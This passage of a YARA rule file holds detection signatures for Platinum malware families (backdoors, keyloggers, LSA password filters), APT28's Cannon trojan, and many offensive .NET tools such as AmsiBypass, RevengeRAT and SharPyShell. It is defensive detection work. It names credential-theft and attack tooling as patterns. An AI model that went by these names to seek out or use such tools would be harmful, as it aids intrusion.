		original_sample_sha1 = "ff7f949da665ba8ce9fb01da357b51415634eaad"
		unpacked_sample_sha1 = "dff2fee984ba9f5a8f5d97582c83fca4fa1fe131"
		activity_group = "Platinum"
		version = "1.0"
		last_modified = "2016-04-12"
		id = "2a099b68-fb13-5926-8a86-4d788326609c"

	strings:
		$Section_name = ".hotp1"
		$offset_x59 = { C7 80 64 01 00 00 00 00 01 00 }

	condition:
		$Section_name and $offset_x59
}

rule Trojan_Win32_Platual : Platinum
{
	meta:
		author = "Microsoft"
		description = "Installer component"
		original_sample_sha1 = "e0ac2ae221328313a7eee33e9be0924c46e2beb9"
		unpacked_sample_sha1 = "ccaf36c2d02c3c5ca24eeeb7b1eae7742a23a86a"
		activity_group = "Platinum"
		version = "1.0"
		last_modified = "2016-04-12"
		id = "ac963388-cc73-5842-96be-77349398efcc"

	strings:
		$class_name = "AVCObfuscation"
		$scrambled_dir = { A8 8B B8 E3 B1 D7 FE 85 51 32 3E C0 F1 B7 73 99 }

	condition:
		$class_name and $scrambled_dir
}

rule Trojan_Win32_Plaplex : Platinum
{
	meta:
		author = "Microsoft"
		description = "Variant of the JPin backdoor"
		original_sample_sha1 = "ca3bda30a3cdc15afb78e54fa1bbb9300d268d66"
		unpacked_sample_sha1 = "2fe3c80e98bbb0cf5a0c4da286cd48ec78130a24"
		activity_group = "Platinum"
		version = "1.0"
		last_modified = "2016-04-12"
		id = "2d670c09-dc0a-556e-8d00-5f94e5907d99"

	strings:
		$class_name1 = "AVCObfuscation"
		$class_name2 = "AVCSetiriControl"

	condition:
		$class_name1 and $class_name2
}

rule Trojan_Win32_Dipsind_B : Platinum
{
	meta:
		author = "Microsoft"
		description = "Dipsind Family"
		sample_sha1 = "09e0dfbb5543c708c0dd6a89fd22bbb96dc4ca1c"
		activity_group = "Platinum"
		version = "1.0"
		last_modified = "2016-04-12"
		id = "513c18a6-af25-58ad-9232-9a089f4ced3d"

	strings:
		$frg1 = {8D 90 04 01 00 00 33 C0 F2 AE F7 D1 2B F9 8B C1 8B F7 8B FA C1 E9 02 F3 A5 8B C8 83 E1 03 F3 A4 8B 4D EC 8B 15 ?? ?? ?? ?? 89 91 ?? 07 00 00 }
		$frg2 = {68 A1 86 01 00 C1 E9 02 F3 AB 8B CA 83 E1 03 F3 AA}
		$frg3 = {C0 E8 07 D0 E1 0A C1 8A C8 32 D0 C0 E9 07 D0 E0 0A C8 32 CA 80 F1 63}

	condition:
		$frg1 and $frg2 and $frg3
}

rule Trojan_Win32_PlaKeylog_B : Platinum
{
	meta:
		author = "Microsoft"
		description = "Keylogger component"
		original_sample_sha1 = "0096a3e0c97b85ca75164f48230ae530c94a2b77"
		unpacked_sample_sha1 = "6a1412daaa9bdc553689537df0a004d44f8a45fd"
		activity_group = "Platinum"
		version = "1.0"
		last_modified = "2016-04-12"
		id = "bc84ef20-f428-5f3d-bc88-ab14991a2350"

	strings:
		$hook = {C6 06 FF 46 C6 06 25}
		$dasm_engine = {80 C9 10 88 0E 8A CA 80 E1 07 43 88 56 03 80 F9 05}

	condition:
		$hook and $dasm_engine
}

rule Trojan_Win32_Adupib : Platinum
{
	meta:
		author = "Microsoft"
		description = "Adupib SSL Backdoor"
		original_sample_sha1 = "d3ad0933e1b114b14c2b3a2c59d7f8a95ea0bcbd"
		unpacked_sample_sha1 = "a80051d5ae124fd9e5cc03e699dd91c2b373978b"
		activity_group = "Platinum"
		version = "1.0"
		last_modified = "2016-04-12"
		id = "fb3b10a4-66d7-50ec-b6a5-b3c5c382ef01"

	strings:
		$str1 = "POLL_RATE"
		$str2 = "OP_TIME(end hour)"
		$str3 = "%d:TCP:*:Enabled"
		$str4 = "%s[PwFF_cfg%d]"
		$str5 = "Fake_GetDlgItemTextW: ***value***="

	condition:
		$str1 and $str2 and $str3 and $str4 and $str5
}

rule Trojan_Win32_PlaLsaLog : Platinum
{
	meta:
		author = "Microsoft"
		description = "Loader / possible incomplete LSA Password Filter"
		original_sample_sha1 = "fa087986697e4117c394c9a58cb9f316b2d9f7d8"
		unpacked_sample_sha1 = "29cb81dbe491143b2f8b67beaeae6557d8944ab4"
		activity_group = "Platinum"
		version = "1.0"
		last_modified = "2016-04-12"
		id = "e5c7e07d-79e3-580f-ac24-28920a9b0e70"

	strings:
		$str1 = {8A 1C 01 32 DA 88 1C 01 8B 74 24 0C 41 3B CE 7C EF 5B 5F C6 04 01 00 5E 81 C4 04 01 00 00 C3}
		$str2 = "PasswordChangeNotify"

	condition:
		$str1 and $str2
}

rule Trojan_Win32_Plagon : Platinum
{
	meta:
		author = "Microsoft"
		description = "Dipsind variant"
		original_sample_sha1 = "48b89f61d58b57dba6a0ca857bce97bab636af65"
		unpacked_sample_sha1 = "6dccf88d89ad7b8611b1bc2e9fb8baea41bdb65a"
		activity_group = "Platinum"
		version = "1.0"
		last_modified = "2016-04-12"
		id = "ae3b7eb0-d54e-5817-9484-c054cd27c1fd"

	strings:
		$str1 = "VPLRXZHTU"
		$str2 = {64 6F 67 32 6A 7E 6C}
		$str3 = "Dqpqftk(Wou\"Isztk)"
		$str4 = "StartThreadAtWinLogon"

	condition:
		$str1 and $str2 and $str3 and $str4
}

rule Trojan_Win32_Plakelog : Platinum
{
	meta:
		author = "Microsoft"
		description = "Raw-input based keylogger"
		original_sample_sha1 = "3907a9e41df805f912f821a47031164b6636bd04"
		unpacked_sample_sha1 = "960feeb15a0939ec0b53dcb6815adbf7ac1e7bb2"
		activity_group = "Platinum"
		version = "1.0"
		last_modified = "2016-04-12"
		id = "26f552e6-9abf-59ca-a8df-19473d6d775a"

	strings:
		$str1 = "<0x02>" wide
		$str2 = "[CTR-BRK]" wide
		$str3 = "[/WIN]" wide
		$str4 = {8A 16 8A 18 32 DA 46 88 18 8B 15 08 E6 42 00 40 41 3B CA 72 EB 5E 5B}

	condition:
		$str1 and $str2 and $str3 and $str4
}

rule Trojan_Win32_Plainst : Platinum
{
	meta:
		author = "Microsoft"
		description = "Installer component"
		original_sample_sha1 = "99c08d31af211a0e17f92dd312ec7ca2b9469ecb"
		unpacked_sample_sha1 = "dcb6cf7cf7c8fdfc89656a042f81136bda354ba6"
		activity_group = "Platinum"
		version = "1.0"
		last_modified = "2016-04-12"
		id = "41a4770a-b4d8-5ddc-8b4f-a4e87a1f3923"

	strings:
		$str1 = {66 8B 14 4D 18 50 01 10 8B 45 08 66 33 14 70 46 66 89 54 77 FE 66 83 7C 77 FE 00 75 B7 8B 4D FC 89 41 08 8D 04 36 89 41 0C 89 79 04}
		$str2 = {4b D3 91 49 A1 80 91 42 83 B6 33 28 36 6B 90 97}

	condition:
		$str1 and $str2
}

rule Trojan_Win32_Plagicom : Platinum
{
	meta:
		author = "Microsoft"
		description = "Installer component"
		original_sample_sha1 = "99dcb148b053f4cef6df5fa1ec5d33971a58bd1e"
		unpacked_sample_sha1 = "c1c950bc6a2ad67488e675da4dfc8916831239a7"
		activity_group = "Platinum"
		version = "1.0"
		last_modified = "2016-04-12"
		id = "86ef6fbf-cd39-533f-893c-72f22d73c99a"

	strings:
		$str1 = {C6 44 24 ?? 68 C6 44 24 ?? 4D C6 44 24 ?? 53 C6 44 24 ?? 56 C6 44 24 ??
00}
		$str2 = "OUEMM/EMM"
		$str3 = {85 C9 7E 08 FE 0C 10 40 3B C1 7C F8 C3}

	condition:
		$str1 and $str2 and $str3
}

rule Trojan_Win32_Plaklog : Platinum
{
	meta:
		author = "Microsoft"
		description = "Hook-based keylogger"
		original_sample_sha1 = "831a5a29d47ab85ee3216d4e75f18d93641a9819"
		unpacked_sample_sha1 = "e18750207ddbd939975466a0e01bd84e75327dda"
		activity_group = "Platinum"
		version = "1.0"
		last_modified = "2016-04-12"
		id = "4faffe66-63fc-5498-be59-dbbbb909ad74"

	strings:
		$str1 = "++[%s^^unknown^^%s]++"
		$str2 = "vtfs43/emm"
		$str3 = {33 C9 39 4C 24 08 7E 10 8B 44 24 04 03 C1 80 00 08 41 3B 4C 24 08 7C F0 C3}

	condition:
		$str1 and $str2 and $str3
}

rule Trojan_Win32_Plapiio : Platinum
{
	meta:
		author = "Microsoft"
		description = "JPin backdoor"
		original_sample_sha1 = "3119de80088c52bd8097394092847cd984606c88"
		unpacked_sample_sha1 = "3acb8fe2a5eb3478b4553907a571b6614eb5455c"
		activity_group = "Platinum"
		version = "1.0"
		last_modified = "2016-04-12"
		id = "538086b5-eb06-5e41-90d4-ab8f2b001c42"

	strings:
		$str1 = "ServiceMain"
		$str2 = "Startup"
		$str3 = {C6 45 ?? 68 C6 45 ?? 4D C6 45 ?? 53 C6 45 ?? 56 C6 45 ?? 6D C6 45 ?? 6D}

	condition:
		$str1 and $str2 and $str3
}

rule Trojan_Win32_Plabit : Platinum
{
	meta:
		author = "Microsoft"
		description = "Installer component"
		sample_sha1 = "6d1169775a552230302131f9385135d385efd166"
		activity_group = "Platinum"
		version = "1.0"
		last_modified = "2016-04-12"
		id = "cee48cbb-f980-50cc-b28a-2e80e7f1798b"

	strings:
		$str1 = {4b D3 91 49 A1 80 91 42 83 B6 33 28 36 6B 90 97}
		$str2 = "GetInstanceW"
		$str3 = {8B D0 83 E2 1F 8A 14 0A 30 14 30 40 3B 44 24 04 72 EE}

	condition:
		$str1 and $str2 and $str3
}

rule Trojan_Win32_Placisc2 : Platinum
{
	meta:
		author = "Microsoft"
		description = "Dipsind variant"
		original_sample_sha1 = "bf944eb70a382bd77ee5b47548ea9a4969de0527"
		unpacked_sample_sha1 = "d807648ddecc4572c7b04405f496d25700e0be6e"
		activity_group = "Platinum"
		version = "1.0"
		last_modified = "2016-04-12"
		id = "a5557cfa-354c-5913-9b63-f53ffb294796"

	strings:
		$str1 = {76 16 8B D0 83 E2 07 8A 4C 14 24 8A 14 18 32 D1 88 14 18 40 3B C7 72 EA}
		$str2 = "VPLRXZHTU"
		$str3 = "%d) Command:%s"
		$str4 = {0D 0A 2D 2D 2D 2D 2D 09 2D 2D 2D 2D 2D 2D 0D 0A}

	condition:
		$str1 and $str2 and $str3 and $str4
}

rule Trojan_Win32_Placisc3 : Platinum
{
	meta:
		author = "Microsoft"
		description = "Dipsind variant"
		original_sample_sha1 = "1b542dd0dacfcd4200879221709f5fa9683cdcda"
		unpacked_sample_sha1 = "bbd4992ee3f3a3267732151636359cf94fb4575d"
		activity_group = "Platinum"
		version = "1.0"
		last_modified = "2016-04-12"
		id = "f2089236-8227-5042-9086-fb77aebd147f"

	strings:
		$str1 = {BA 6E 00 00 00 66 89 95 ?? ?? FF FF B8 73 00 00 00 66 89 85 ?? ?? FF FF B9 64 00 00 00 66 89 8D ?? ?? FF FF BA 65 00 00 00 66 89 95 ?? ?? FF FF B8 6C 00 00 00}
		$str2 = "VPLRXZHTU"
		$str3 = {8B 44 24 ?? 8A 04 01 41 32 C2 3B CF 7C F2 88 03}

	condition:
		$str1 and $str2 and $str3
}

rule Trojan_Win32_Placisc4 : Platinum
{
	meta:
		author = "Microsoft"
		description = "Installer for Dipsind variant"
		original_sample_sha1 = "3d17828632e8ff1560f6094703ece5433bc69586"
		unpacked_sample_sha1 = "2abb8e1e9cac24be474e4955c63108ff86d1a034"
		activity_group = "Platinum"
		version = "1.0"
		last_modified = "2016-04-12"
		id = "04770059-06ca-5315-a7b3-0e9fbcecfc57"

	strings:
		$str1 = {8D 71 01 8B C6 99 BB 0A 00 00 00 F7 FB 0F BE D2 0F BE 04 39 2B C2 88 04 39 84 C0 74 0A}
		$str2 = {6A 04 68 00 20 00 00 68 00 00 40 00 6A 00 FF D5}
		$str3 = {C6 44 24 ?? 64 C6 44 24 ?? 6F C6 44 24 ?? 67 C6 44 24 ?? 32 C6 44 24 ?? 6A}

	condition:
		$str1 and $str2 and $str3
}

rule Trojan_Win32_Plakpers : Platinum
{
	meta:
		author = "Microsoft"
		description = "Injector / loader component"
		original_sample_sha1 = "fa083d744d278c6f4865f095cfd2feabee558056"
		unpacked_sample_sha1 = "3a678b5c9c46b5b87bfcb18306ed50fadfc6372e"
		activity_group = "Platinum"
		version = "1.0"
		last_modified = "2016-04-12"
		id = "d37c6ac5-ca46-5fb2-80bd-ab63c8dbcd21"

	strings:
		$str1 = "MyFileMappingObject"
		$str2 = "[%.3u]  %s  %s  %s [%s:" wide
		$str3 = "%s\\{%s}\\%s" wide

	condition:
		$str1 and $str2 and $str3
}

rule Trojan_Win32_Plainst2 : Platinum
{
	meta:
		author = "Microsoft"
		description = "Zc tool"
		original_sample_sha1 = "3f2ce812c38ff5ac3d813394291a5867e2cddcf2"
		unpacked_sample_sha1 = "88ff852b1b8077ad5a19cc438afb2402462fbd1a"
		activity_group = "Platinum"
		version = "1.0"
		last_modified = "2016-04-12"
		id = "7202eeb5-269d-5e9a-9a93-bdf489639e74"

	strings:
		$str1 = "Connected [%s:%d]..."
		$str2 = "reuse possible: %c"
		$str3 = "] => %d%%\x0a"

	condition:
		$str1 and $str2 and $str3
}

rule Trojan_Win32_Plakpeer : Platinum
{
	meta:
		author = "Microsoft"
		description = "Zc tool v2"
		original_sample_sha1 = "2155c20483528377b5e3fde004bb604198463d29"
		unpacked_sample_sha1 = "dc991ef598825daabd9e70bac92c79154363bab2"
		activity_group = "Platinum"
		version = "1.0"
		last_modified = "2016-04-12"
		id = "e573279b-4a7b-5e15-8ab2-a77cd98a8b6e"

	strings:
		$str1 = "@@E0020(%d)" wide
		$str2 = /exit.{0,3}@exit.{0,3}new.{0,3}query.{0,3}rcz.{0,3}scz/ wide
		$str3 = "---###---" wide
		$str4 = "---@@@---" wide

	condition:
		$str1 and $str2 and $str3 and $str4
}

rule APT_APT28_Cannon_Trojan_Nov18_1
{
	meta:
		description = "Detects Cannon Trojan used by Sofacy"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/"
		date = "2018-11-20"
		hash1 = "61a1f3b4fb4dbd2877c91e81db4b1af8395547eab199bf920e9dd11a1127221e"
		id = "a60f3e75-8bfe-592e-90d1-321bd86173ac"

	strings:
		$xc1 = { 46 6F 72 6D 31 00 63 61 6E 6E 6F 6E 00 4D 44 61
               74 00 41 55 54 48 }
		$xc2 = { 13 4F 00 53 00 3A 00 20 00 20 00 7B 00 30 00 7D
               00 0A 00 00 17 53 00 44 00 69 00 72 00 3A 00 20
               00 20 00 7B 00 30 00 7D 00 0A 00 00 1B 44 00 6F
               00 6D 00 61 00 69 00 6E 00 3A 00 20 00 20 00 7B
               00 30 00 7D 00 0A 00 00 15 48 00 6F 00 73 00 74
               00 3A 00 20 00 7B 00 30 00 7D 00 0A 00 00 21 43
               00 75 00 72 00 72 00 65 00 6E 00 74 00 55 00 73
               00 72 00 3A 00 20 00 7B 00 30 00 7D 00 0A 00 00
               17 54 00 69 00 6D 00 65 00 5A 00 3A 00 20 00 7B
               00 30 00 7D }
		$x2 = "\\Desktop\\cannon\\obj\\" ascii
		$x3 = "C:\\Users\\Public\\Music\\s.txt" fullword wide
		$s1 = "C:\\Documents and Settings\\All Users\\Documents" fullword wide
		$s2 = "notEncoded - Value here is never used" fullword wide
		$s3 = "Windows NT\\CurrentVersion\\Winlogon\"" fullword wide
		$s4 = "AnswerMessageTraverser`1" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and 1 of ( $x* ) or 3 of them
}

rule HKTL_NET_NAME_FakeFileMaker
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/DamonMohammadbagher/FakeFileMaker"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "2c87114f-5295-583f-b567-623d478ce0eb"

	strings:
		$name = "FakeFileMaker" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_WMIPersistence
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/mdsecactivebreach/WMIPersistence"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "7a674596-c697-569d-a16c-3cefe4ff752a"

	strings:
		$name = "WMIPersistence" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_AdCollector_Sep22_1
{
	meta:
		description = "Detects ADCollector Tool - a lightweight tool to quickly extract valuable information from the Active Directory environment for both attacking and defending"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/dev-2null/ADCollector"
		date = "2022-09-15"
		score = 75
		hash1 = "241390219a0a773463601ca68b77af97453c20af00a66492a7a78c04d481d338"
		hash2 = "cc086eb7316e68661e3d547b414890d5029c5cc460134d8b628f4b0be7f27fb3"
		id = "48b376e4-752b-523e-b34e-65b6944c33fb"

	strings:
		$x1 = "ADCollector.exe --SPNs --Term key --Acls 'CN=Domain Admins,CN=Users,DC=lab,DC=local'" wide fullword
		$s1 = "ADCollector.exe" wide fullword
		$s2 = "ENCRYPTED_TEXT_PASSWORD_ALLOWED" ascii fullword
		$s3 = "\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf" wide
		$s4 = "[-] Password Does Not Expire Accounts:" wide
		$s5 = "  * runAs:       {0}" wide fullword

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and ( 1 of ( $x* ) or 3 of them )
}

rule HKTL_NET_NAME_MaliciousClickOnceGenerator
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/Mr-Un1k0d3r/MaliciousClickOnceGenerator"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "683af3b4-4c91-5ff3-96bf-d5c1d9c19cc2"

	strings:
		$name = "MaliciousClickOnceGenerator" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_directInjectorPOC
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/badBounty/directInjectorPOC"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "d9a430d7-b062-554b-aff4-cfd98d91e9fe"

	strings:
		$name = "directInjectorPOC" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_AsStrongAsFuck
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/Charterino/AsStrongAsFuck"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "4c63c8a2-5889-5177-9f66-8e5f755025a3"

	strings:
		$name = "AsStrongAsFuck" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_MagentoScanner
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/soufianetahiri/MagentoScanner"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "db3912bd-574c-57e2-a9b6-4b440d144471"

	strings:
		$name = "MagentoScanner" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_RevengeRAT_Stub_CSsharp
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/NYAN-x-CAT/RevengeRAT-Stub-CSsharp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "06dce4f9-4d7a-5976-a87a-07c539e5dbe8"

	strings:
		$name = "RevengeRAT-Stub-CSsharp" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_SharPyShell
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/antonioCoco/SharPyShell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "3069c5eb-446e-5bfa-9df0-2e03f229d4d1"

	strings:
		$name = "SharPyShell" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_GhostLoader
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/TheWover/GhostLoader"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "d8d88f3f-f250-55ff-88a6-4623e12ef89d"

	strings:
		$name = "GhostLoader" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_DotNetInject
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/dtrizna/DotNetInject"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		modified = "2022-06-28"
		id = "468f89c4-5b94-53be-b9e6-ad21de7d98ba"

	strings:
		$name = "DotNetInject" ascii wide
		$compile = "AssemblyTitle" ascii wide
		$fp1 = "GetDotNetInjector" ascii
		$fp2 = "JetBrains.TeamCity.Injector." wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and filesize < 20MB and $name and $compile and not 1 of ( $fp* )
}

rule HKTL_NET_NAME_ATPMiniDump
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/b4rtik/ATPMiniDump"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "97981569-fe94-5600-8319-946edb4265e7"

	strings:
		$name = "ATPMiniDump" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule SUSP_NET_NAME_ConfuserEx
{
	meta:
		description = "Detects ConfuserEx packed file"
		reference = "https://github.com/yck1509/ConfuserEx"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		score = 40
		date = "2021-01-22"
		modified = "2021-01-25"
		id = "f1bda14e-c9fe-5341-8962-691a66233eb0"

	strings:
		$name = "ConfuserEx" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_SharpBuster
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/passthehashbrowns/SharpBuster"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "d30c8ee5-88b9-53b5-b209-51f6f3b988cf"

	strings:
		$name = "SharpBuster" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_AmsiBypass
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/0xB455/AmsiBypass"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		hash = "8fa4ba512b34a898c4564a8eac254b6a786d195b"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "26db14d8-1034-5bd1-a719-4756c832901d"

	strings:
		$name = "AmsiBypass" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_Recon_AD
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/outflanknl/Recon-AD"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "097de5cd-0cd4-59cc-a7b7-54cad8e6d230"

	strings:
		$name = "Recon-AD" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_SharpWatchdogs
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/RITRedteam/SharpWatchdogs"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "5343be58-879a-5fe7-9036-ee6a22d85f22"

	strings:
		$name = "SharpWatchdogs" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_SharpCat
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/Cn33liz/SharpCat"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "a46be8d3-bf7b-5d86-b88b-33e6c8c152d8"

	strings:
		$name = "SharpCat" ascii wide fullword
		$compile = "AssemblyTitle" ascii wide fullword

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_K8tools
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/k8gege/K8tools"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "b30fc856-073d-542f-b222-a957322732c2"

	strings:
		$name = "K8tools" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_HTTPSBeaconShell
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/limbenjamin/HTTPSBeaconShell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "3bd7234b-a23e-5818-aed1-52d42023943b"

	strings:
		$name = "HTTPSBeaconShell" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_Ghostpack_CompiledBinaries
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/r3motecontrol/Ghostpack-CompiledBinaries"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "7cc81894-8c01-5a17-a7ed-1cb4cf1e2d53"

	strings:
		$name = "Ghostpack-CompiledBinaries" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_metasploit_sharp
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/VolatileMindsLLC/metasploit-sharp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "b425f241-4887-5368-b42b-3fbbd3b769c6"

	strings:
		$name = "metasploit-sharp" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_trevorc2
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/trustedsec/trevorc2"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "d1634a0d-6964-5886-b836-85c3ce6b8a17"

	strings:
		$name = "trevorc2" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_NativePayload_DNS2
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/DamonMohammadbagher/NativePayload_DNS2"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
